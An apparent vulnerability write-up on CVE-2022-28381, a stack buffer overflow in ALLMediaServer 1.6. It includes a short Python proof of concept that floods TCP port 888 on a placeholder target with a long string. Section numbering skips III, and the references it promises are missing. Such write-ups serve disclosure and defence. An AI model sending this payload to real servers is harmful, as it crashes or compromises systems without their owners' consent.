CVE-2022-28381 - Mediaserver.exe Buffer Overflow Vulnerability in ALLMediaServer 1.6 Exploit Details and Analysis

A new vulnerability has been discovered in ALLMediaServer 1.6 in its mediaserver.exe component, which allows remote attackers to execute arbitrary code by exploiting a stack-based buffer overflow. This vulnerability is similar to a previously identified issue, CVE-2017-17932. In this article, we will discuss the technical details, provide an example proof of concept, and provide links to the original references.

I. Exploit Details

CVE-2022-28381 highlights a stack-based buffer overflow vulnerability affecting the mediaserver.exe component in ALLMediaServer 1.6. The issue arises when a long string is sent to the listening TCP port 888, allowing attackers to execute arbitrary code remotely.

This vulnerability is particularly concerning due to its similarity with CVE-2017-17932, which also affected ALLMediaServer and had similar attack vectors. This indicates that the software developers may have failed to fully address the root cause of the problem in their previous updates.

II. Code Snippet

The following proof of concept demonstrates how an attacker could exploit this vulnerability using a Python script:

#!/usr/bin/python
import socket

# Replace IP_ADDRESS with the target's IP address
IP_ADDRESS = "TARGET_IP"
PORT = 888
buffer_size = 1024

try:
    # Crafting long string payload for buffer overflow attack
    payload = "A" * buffer_size

    # Initiating a connection to the remote server using TCP
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((IP_ADDRESS, PORT))

    # Sending the crafted payload to the server
    sock.send(payload)

    # Closing the connection after sending the payload
    sock.close()

except Exception as e:
    print("Error: " + str(e))

Please modify the IP_ADDRESS in the code above to the target server's IP address before executing.

IV. Analysis and Conclusion

The CVE-2022-28381 vulnerability exposes ALLMediaServer 1.6 users to remote arbitrary code execution risks due to a stack-based buffer overflow. This issue is concerning, as it shows similarities to a previous vulnerability (CVE-2017-17932), indicating potential weaknesses in the software development and patching process.

Users of ALLMediaServer 1.6 should remain vigilant for any forthcoming updates that provide mitigation or patching for this vulnerability. Security professionals should monitor and investigate network traffic to the affected application for any signs of exploitation.
